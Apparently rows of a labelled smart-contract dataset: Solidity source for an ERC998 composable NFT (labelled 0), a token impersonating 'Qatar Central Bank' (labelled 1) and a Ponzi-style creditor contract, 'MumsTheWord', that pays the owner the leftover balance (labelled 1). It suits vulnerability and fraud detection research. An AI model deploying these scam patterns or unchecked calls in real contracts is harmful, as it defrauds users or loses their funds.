mapping(uint256 => mapping(address => EnumerableSet.UintSet)) private childTokens; mapping(address => mapping(uint256 => uint256)) private childTokenOwner; function safeTransferChild( uint256 _fromTokenId, address _to, address _childContract, uint256 _childTokenId ) external override { _transferChild(_fromTokenId, _to, _childContract, _childTokenId); IERC721(_childContract).safeTransferFrom( address(this), _to, _childTokenId ); emit TransferChild(_fromTokenId, _to, _childContract, _childTokenId); } function safeTransferChild( uint256 _fromTokenId, address _to, address _childContract, uint256 _childTokenId, bytes memory _data ) external override { _transferChild(_fromTokenId, _to, _childContract, _childTokenId); IERC721(_childContract).safeTransferFrom( address(this), _to, _childTokenId, _data ); emit TransferChild(_fromTokenId, _to, _childContract, _childTokenId); } function transferChild( uint256 _fromTokenId, address _to, address _childContract, uint256 _childTokenId ) external override { _transferChild(_fromTokenId, _to, _childContract, _childTokenId); bytes memory callData = abi.encodeWithSelector(APPROVE, this, _childTokenId); _childContract.call(callData); IERC721(_childContract).transferFrom(address(this), _to, _childTokenId); emit TransferChild(_fromTokenId, _to, _childContract, _childTokenId); } function transferChildToParent( uint256 _fromTokenId, address _toContract, uint256 _toTokenId, address _childContract, uint256 _childTokenId, bytes memory _data ) external override { _transferChild( _fromTokenId, _toContract, _childContract, _childTokenId ); emit TransferChild( _fromTokenId, _toContract, _childContract, _childTokenId ); IERC998ERC721BottomUp(_childContract).transferToParent( address(this), _toContract, _toTokenId, _childTokenId, _data ); } function getChild( address _from, uint256 _tokenId, address _childContract, uint256 _childTokenId ) external override { receiveChild(_from, _tokenId, _childContract, _childTokenId); require( _from == msg.sender || IERC721(_childContract).isApprovedForAll(_from, msg.sender) || IERC721(_childContract).getApproved(_childTokenId) == msg.sender, "ComposableTopDown: getChild msg.sender not approved" ); IERC721(_childContract).transferFrom( _from, address(this), _childTokenId ); rootOwnerOf(_tokenId); } function onERC721Received( address _from, uint256 _childTokenId, bytes calldata _data ) external returns (bytes4) { require( _data.length > 0, "ComposableTopDown: onERC721Received(3) _data must contain the uint256 tokenId to transfer the child token to" ); uint256 tokenId = _parseTokenId(_data); receiveChild(_from, tokenId, msg.sender, _childTokenId); require( IERC721(msg.sender).ownerOf(_childTokenId) != address(0), "ComposableTopDown: onERC721Received(3) child token not owned" ); rootOwnerOf(tokenId); return ERC721_RECEIVED_OLD; } function onERC721Received( address, address _from, uint256 _childTokenId, bytes calldata _data ) external override returns (bytes4) { require( _data.length > 0, "ComposableTopDown: onERC721Received(4) _data must contain the uint256 tokenId to transfer the child token to" ); uint256 tokenId = _parseTokenId(_data); receiveChild(_from, tokenId, msg.sender, _childTokenId); require( IERC721(msg.sender).ownerOf(_childTokenId) != address(0), "ComposableTopDown: onERC721Received(4) child token not owned" ); rootOwnerOf(tokenId); return ERC721_RECEIVED_NEW; } function childExists(address _childContract, uint256 _childTokenId) external view returns (bool) { uint256 tokenId = childTokenOwner[_childContract][_childTokenId]; return tokenId != 0; } function totalChildContracts(uint256 _tokenId) external view override returns (uint256) { return childContracts[_tokenId].length(); } function childContractByIndex(uint256 _tokenId, uint256 _index) external view override returns (address childContract) { return childContracts[_tokenId].at(_index); } function totalChildTokens(uint256 _tokenId, address _childContract) external view override returns (uint256) { return childTokens[_tokenId][_childContract].length(); } function childTokenByIndex( uint256 _tokenId, address _childContract, uint256 _index ) external view override returns (uint256 childTokenId) { return childTokens[_tokenId][_childContract].at(_index); } function ownerOfChild(address _childContract, uint256 _childTokenId) external view override returns (bytes32 parentTokenOwner, uint256 parentTokenId) { parentTokenId = childTokenOwner[_childContract][_childTokenId]; require( parentTokenId != 0, "ComposableTopDown: ownerOfChild not found" ); address parentTokenOwnerAddress = tokenIdToTokenOwner[parentTokenId]; assembly { parentTokenOwner := or(ERC998_MAGIC_VALUE_32, parentTokenOwnerAddress) } } function _transferChild( uint256 _fromTokenId, address _to, address _childContract, uint256 _childTokenId ) private { uint256 tokenId = childTokenOwner[_childContract][_childTokenId]; require( tokenId != 0, "ComposableTopDown: _transferChild _childContract _childTokenId not found" ); require( tokenId == _fromTokenId, "ComposableTopDown: _transferChild wrong tokenId found" ); require( _to != address(0), "ComposableTopDown: _transferChild _to zero address" ); address rootOwner = address(uint160(uint256(rootOwnerOf(tokenId)))); require( rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender] || rootOwnerAndTokenIdToApprovedAddress[rootOwner][tokenId] == msg.sender, "ComposableTopDown: _transferChild msg.sender not eligible" ); removeChild(tokenId, _childContract, _childTokenId); } function _ownerOfChild(address _childContract, uint256 _childTokenId) private view returns (address parentTokenOwner, uint256 parentTokenId) { parentTokenId = childTokenOwner[_childContract][_childTokenId]; require( parentTokenId != 0, "ComposableTopDown: _ownerOfChild not found" ); return (tokenIdToTokenOwner[parentTokenId], parentTokenId); } function _parseTokenId(bytes memory _data) private pure returns (uint256 tokenId) { assembly { tokenId := mload(add(_data, 0x20)) } if (_data.length < 32) { tokenId = tokenId >> (256 - _data.length * 8); } } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function removeChild( uint256 _tokenId, address _childContract, uint256 _childTokenId ) private { uint256 lastTokenIndex = childTokens[_tokenId][_childContract].length() - 1; require(childTokens[_tokenId][_childContract].remove(_childTokenId), "ComposableTopDown: removeChild: _childTokenId not found"); delete childTokenOwner[_childContract][_childTokenId]; if (lastTokenIndex == 0) { require(childContracts[_tokenId].remove(_childContract), "ComposableTopDown: removeChild: _childContract not found"); } if (_childContract == address(this)) { _updateStateHash(_tokenId, uint256(uint160(_childContract)), tokenIdToStateHash[_childTokenId]); } else { _updateStateHash(_tokenId, uint256(uint160(_childContract)), _childTokenId); } } function receiveChild( address _from, uint256 _tokenId, address _childContract, uint256 _childTokenId ) private { require( tokenIdToTokenOwner[_tokenId] != address(0), "ComposableTopDown: receiveChild _tokenId does not exist." ); require( childTokenOwner[_childContract][_childTokenId] != _tokenId, "ComposableTopDown: receiveChild _childTokenId already received" ); uint256 childTokensLength = childTokens[_tokenId][_childContract].length(); if (childTokensLength == 0) { require(childContracts[_tokenId].add(_childContract), "ComposableTopDown: receiveChild: add _childContract"); } require(childTokens[_tokenId][_childContract].add(_childTokenId), "ComposableTopDown: receiveChild: add _childTokenId"); childTokenOwner[_childContract][_childTokenId] = _tokenId; if (_childContract == address(this)) { _updateStateHash(_tokenId, uint256(uint160(_childContract)), tokenIdToStateHash[_childTokenId]); } else { _updateStateHash(_tokenId, uint256(uint160(_childContract)), _childTokenId); } emit ReceivedChild(_from, _tokenId, _childContract, _childTokenId); } mapping(uint256 => EnumerableSet.AddressSet) erc20Contracts; mapping(uint256 => mapping(address => uint256)) erc20Balances; function transferERC20( uint256 _tokenId, address _to, address _erc20Contract, uint256 _value ) external override { require( _to != address(0), "ComposableTopDown: transferERC20 _to zero address" ); address rootOwner = address(uint160(uint256(rootOwnerOf(_tokenId)))); require( rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender] || rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId] == msg.sender, "ComposableTopDown: transferERC20 msg.sender not eligible" ); removeERC20(_tokenId, _erc20Contract, _value); require( IERC20AndERC223(_erc20Contract).transfer(_to, _value), "ComposableTopDown: transferERC20 transfer failed" ); emit TransferERC20(_tokenId, _to, _erc20Contract, _value); } function transferERC223( uint256 _tokenId, address _to, address _erc223Contract, uint256 _value, bytes memory _data ) external override { require( _to != address(0), "ComposableTopDown: transferERC223 _to zero address" ); address rootOwner = address(uint160(uint256(rootOwnerOf(_tokenId)))); require( rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender] || rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId] == msg.sender, "ComposableTopDown: transferERC223 msg.sender not eligible" ); removeERC20(_tokenId, _erc223Contract, _value); require( IERC20AndERC223(_erc223Contract).transfer(_to, _value, _data), "ComposableTopDown: transferERC223 transfer failed" ); emit TransferERC20(_tokenId, _to, _erc223Contract, _value); } function tokenFallback( address _from, uint256 _value, bytes memory _data ) external override { require( _data.length > 0, "ComposableTopDown: tokenFallback _data must contain the uint256 tokenId to transfer the token to" ); require( tx.origin != msg.sender, "ComposableTopDown: tokenFallback msg.sender is not a contract" ); uint256 tokenId = _parseTokenId(_data); erc20Received(_from, tokenId, msg.sender, _value); } function balanceOfERC20(uint256 _tokenId, address _erc20Contract) external view override returns (uint256) { return erc20Balances[_tokenId][_erc20Contract]; } function erc20ContractByIndex(uint256 _tokenId, uint256 _index) external view override returns (address) { return erc20Contracts[_tokenId].at(_index); } function totalERC20Contracts(uint256 _tokenId) external view override returns (uint256) { return erc20Contracts[_tokenId].length(); } function getERC20( address _from, uint256 _tokenId, address _erc20Contract, uint256 _value ) public override { bool allowed = _from == msg.sender; if (!allowed) { bytes memory callData = abi.encodeWithSelector(ALLOWANCE, _from, msg.sender); (bool callSuccess, bytes memory data) = _erc20Contract.staticcall(callData); require( callSuccess, "ComposableTopDown: getERC20 allowance failed" ); uint256 remaining; assembly { remaining := mload(add(data, 0x20)) } require( remaining >= _value, "ComposableTopDown: getERC20 value greater than remaining" ); allowed = true; } require(allowed, "ComposableTopDown: getERC20 not allowed to getERC20"); erc20Received(_from, _tokenId, _erc20Contract, _value); require( IERC20AndERC223(_erc20Contract).transferFrom( _from, address(this), _value ), "ComposableTopDown: getERC20 transfer failed" ); } function erc20Received( address _from, uint256 _tokenId, address _erc20Contract, uint256 _value ) private { require( tokenIdToTokenOwner[_tokenId] != address(0), "ComposableTopDown: erc20Received _tokenId does not exist" ); if (_value == 0) { return; } uint256 erc20Balance = erc20Balances[_tokenId][_erc20Contract]; if (erc20Balance == 0) { require(erc20Contracts[_tokenId].add(_erc20Contract), "ComposableTopDown: erc20Received: erc20Contracts add _erc20Contract"); } erc20Balances[_tokenId][_erc20Contract] += _value; _updateStateHash(_tokenId, uint256(uint160(_erc20Contract)), erc20Balance + _value); emit ReceivedERC20(_from, _tokenId, _erc20Contract, _value); } function removeERC20( uint256 _tokenId, address _erc20Contract, uint256 _value ) private { if (_value == 0) { return; } uint256 erc20Balance = erc20Balances[_tokenId][_erc20Contract]; require( erc20Balance >= _value, "ComposableTopDown: removeERC20 value not enough" ); unchecked { uint256 newERC20Balance = erc20Balance - _value; erc20Balances[_tokenId][_erc20Contract] = newERC20Balance; if (newERC20Balance == 0) { require(erc20Contracts[_tokenId].remove(_erc20Contract), "ComposableTopDown: removeERC20: erc20Contracts remove _erc20Contract"); } _updateStateHash(_tokenId, uint256(uint160(_erc20Contract)), newERC20Balance); } } function supportsInterface(bytes4 interfaceId) public view override(IERC165,ERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC998ERC721TopDown).interfaceId || interfaceId == type(IERC998ERC721TopDownEnumerable).interfaceId || interfaceId == type(IERC998ERC20TopDown).interfaceId || interfaceId == type(IERC998ERC20TopDownEnumerable).interfaceId || interfaceId == 0x1bc995e4 || super.supportsInterface(interfaceId); } function _updateStateHash(uint256 tokenId, uint256 childReference, uint256 value) private { uint256 _newStateHash = uint256(keccak256(abi.encodePacked(tokenIdToStateHash[tokenId], childReference, value))); tokenIdToStateHash[tokenId] = _newStateHash; while (tokenIdToTokenOwner[tokenId] == address(this)) { tokenId = childTokenOwner[address(this)][tokenId]; _newStateHash = uint256(keccak256(abi.encodePacked(tokenIdToStateHash[tokenId], uint256(uint160(address(this))), _newStateHash))); tokenIdToStateHash[tokenId] = _newStateHash; } } function stateHash(uint256 tokenId) public view returns (uint256) { uint256 _stateHash = tokenIdToStateHash[tokenId]; require(_stateHash > 0, "ComposableTopDown: stateHash of _tokenId is zero"); return _stateHash; } function safeCheckedTransferFrom( address from, address to, uint256 tokenId, uint256 expectedStateHash ) external { require(expectedStateHash == tokenIdToStateHash[tokenId], "ComposableTopDown: stateHash mismatch (1)"); safeTransferFrom(from, to, tokenId); } function checkedTransferFrom( address from, address to, uint256 tokenId, uint256 expectedStateHash ) external { require(expectedStateHash == tokenIdToStateHash[tokenId], "ComposableTopDown: stateHash mismatch (2)"); transferFrom(from, to, tokenId); } function safeCheckedTransferFrom( address from, address to, uint256 tokenId, uint256 expectedStateHash, bytes calldata data ) external { require(expectedStateHash == tokenIdToStateHash[tokenId], "ComposableTopDown: stateHash mismatch (3)"); safeTransferFrom(from, to, tokenId, data); } } pragma solidity ^0.8.0; contract ContractIERC721ReceiverNew is IERC721Receiver { bytes4 constant ERC721_RECEIVED = 0xcd740db5; function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { return ERC721_RECEIVED; } } pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } pragma solidity ^0.8.0; library Strings { bytes16 private constant alphabet = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } pragma solidity ^0.8.0; contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; mapping (uint256 => address) private _owners; mapping (address => uint256) private _balances; mapping (uint256 => address) private _tokenApprovals; mapping (address => mapping (address => bool)) private _operatorApprovals; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } function _baseURI() internal view virtual returns (string memory) { return ""; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } pragma solidity ^0.8.0; library Counters { struct Counter { uint256 _value; } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } } pragma solidity ^0.8.0; contract ContractIERC721ReceiverOld is ERC721, IERC721Receiver { bytes4 constant ERC721_RECEIVED_OLD = 0xf0b9e5ba; using Counters for Counters.Counter; Counters.Counter public _tokenIds; uint256 data = 1; constructor() public ERC721("NFT_OLD_RECEIVER", "NOR") {} function mint721(address _to) public returns (uint256) { _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _safeMint(_to, newItemId); return newItemId; } function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { return ERC721_RECEIVED_OLD; } } pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.8.0; interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } pragma solidity ^0.8.0; contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity ^0.8.0; interface IERC223Receiver { function tokenFallback(address _from, uint _value, bytes memory _data) external; } pragma solidity ^0.8.0; contract SampleERC20 is ERC20 { using Address for address; constructor(string memory tokenName, string memory tokenSymbol) public ERC20(tokenName, tokenSymbol) {} function mint(address account, uint256 amount) public { super._mint(account, amount); } function transfer( address _to, uint256 _value, bytes memory _data ) external returns (bool) { _transfer(msg.sender, _to, _value); if (_to.isContract()) { IERC223Receiver receiver = IERC223Receiver(_to); receiver.tokenFallback(msg.sender, _value, _data); } return true; } } pragma solidity ^0.8.0; interface IERC721ReceiverOld { function onERC721Received(address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } pragma solidity ^0.8.0; contract SampleNFT is ERC721 { using Address for address; using Counters for Counters.Counter; Counters.Counter public _tokenIds; mapping(string => bool) public hashes; uint256 data = 1; bytes4 constant ERC721_RECEIVED_OLD = 0xf0b9e5ba; constructor() public ERC721("Sample NFT", "NFT") {} function mint721(address _to, string memory _hash) public returns (uint256) { require(hashes[_hash] != true); hashes[_hash] = true; _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _safeMint(_to, newItemId); return newItemId; } function safeTransferFromOld( address from, address to, uint256 tokenId, bytes memory _data ) public { require( _isApprovedOrOwner(_msgSender(), tokenId), "SampleNFT: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); require( _checkOnERC721ReceivedOld(from, to, tokenId, _data), "SampleNFT: transfer to non ERC721Receiver implementer" ); } function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, abi.encode(data)); } function _checkOnERC721ReceivedOld( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall( abi.encodeWithSelector( IERC721ReceiverOld(to).onERC721Received.selector, from, tokenId, _data ), "SampleNFT: transfer to non ERC721Receiver implementer" ); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == ERC721_RECEIVED_OLD); } }
0
1,051
pragma solidity 0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { function totalSupply()public view returns (uint total_Supply); function balanceOf(address _owner)public view returns (uint256 balance); function allowance(address _owner, address _spender)public view returns (uint remaining); function transferFrom(address _from, address _to, uint _amount)public returns (bool ok); function approve(address _spender, uint _amount)public returns (bool ok); function transfer(address _to, uint _amount)public returns (bool ok); event Transfer(address indexed _from, address indexed _to, uint _amount); event Approval(address indexed _owner, address indexed _spender, uint _amount); } contract QatarCentralBank is ERC20 {using SafeMath for uint256; string public constant symbol = ",000.QAR.QatariRiyal"; string public constant name = "Qatar Central Bank"; uint public constant decimals = 18; uint256 _totalSupply = 999000000000000000000 * 10 ** 18; address public owner; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } constructor () public { owner = msg.sender; balances[owner] = _totalSupply; emit Transfer(0, owner, _totalSupply); } function burntokens(uint256 tokens) public onlyOwner { _totalSupply = (_totalSupply).sub(tokens); } function totalSupply() public view returns (uint256 total_Supply) { total_Supply = _totalSupply; } function balanceOf(address _owner)public view returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _amount)public returns (bool ok) { require( _to != 0x0); require(balances[msg.sender] >= _amount && _amount >= 0); balances[msg.sender] = (balances[msg.sender]).sub(_amount); balances[_to] = (balances[_to]).add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom( address _from, address _to, uint256 _amount )public returns (bool ok) { require( _to != 0x0); require(balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount >= 0); balances[_from] = (balances[_from]).sub(_amount); allowed[_from][msg.sender] = (allowed[_from][msg.sender]).sub(_amount); balances[_to] = (balances[_to]).add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _amount)public returns (bool ok) { require( _spender != 0x0); allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender)public view returns (uint256 remaining) { require( _owner != 0x0 && _spender !=0x0); return allowed[_owner][_spender]; } function transferOwnership(address newOwner) external onlyOwner { uint256 x = balances[owner]; require( newOwner != 0x0); balances[newOwner] = (balances[newOwner]).add(balances[owner]); balances[owner] = 0; owner = newOwner; emit Transfer(msg.sender, newOwner, x); } }
1
3,630
pragma solidity ^0.4.11; contract MumsTheWord { uint32 public lastCreditorPayedOut; uint public lastTimeOfNewCredit; uint public jackpot; address[] public creditorAddresses; uint[] public creditorAmounts; address public owner; uint8 public round; uint constant EIGHT_HOURS = 28800; uint constant MIN_AMOUNT = 10 ** 16; function MumsTheWord() { jackpot = msg.value; owner = msg.sender; lastTimeOfNewCredit = now; } function enter() payable returns (bool) { uint amount = msg.value; if (lastTimeOfNewCredit + EIGHT_HOURS > now) { msg.sender.transfer(amount); creditorAddresses[creditorAddresses.length - 1].transfer(jackpot); owner.transfer(this.balance); lastCreditorPayedOut = 0; lastTimeOfNewCredit = now; jackpot = 0; creditorAddresses = new address[](0); creditorAmounts = new uint[](0); round += 1; return false; } else { if (amount >= MIN_AMOUNT) { lastTimeOfNewCredit = now; creditorAddresses.push(msg.sender); creditorAmounts.push(amount * 110 / 100); owner.transfer(amount * 5/100); if (jackpot < 100 ether) { jackpot += amount * 5/100; } if (creditorAmounts[lastCreditorPayedOut] <= address(this).balance - jackpot) { creditorAddresses[lastCreditorPayedOut].transfer(creditorAmounts[lastCreditorPayedOut]); lastCreditorPayedOut += 1; } return true; } else { msg.sender.transfer(amount); return false; } } } function() payable { enter(); } function totalDebt() returns (uint debt) { for(uint i=lastCreditorPayedOut; i<creditorAmounts.length; i++){ debt += creditorAmounts[i]; } } function totalPayedOut() returns (uint payout) { for(uint i=0; i<lastCreditorPayedOut; i++){ payout += creditorAmounts[i]; } } function raiseJackpot() payable { jackpot += msg.value; } function getCreditorAddresses() returns (address[]) { return creditorAddresses; } function getCreditorAmounts() returns (uint[]) { return creditorAmounts; } }
1
5,281
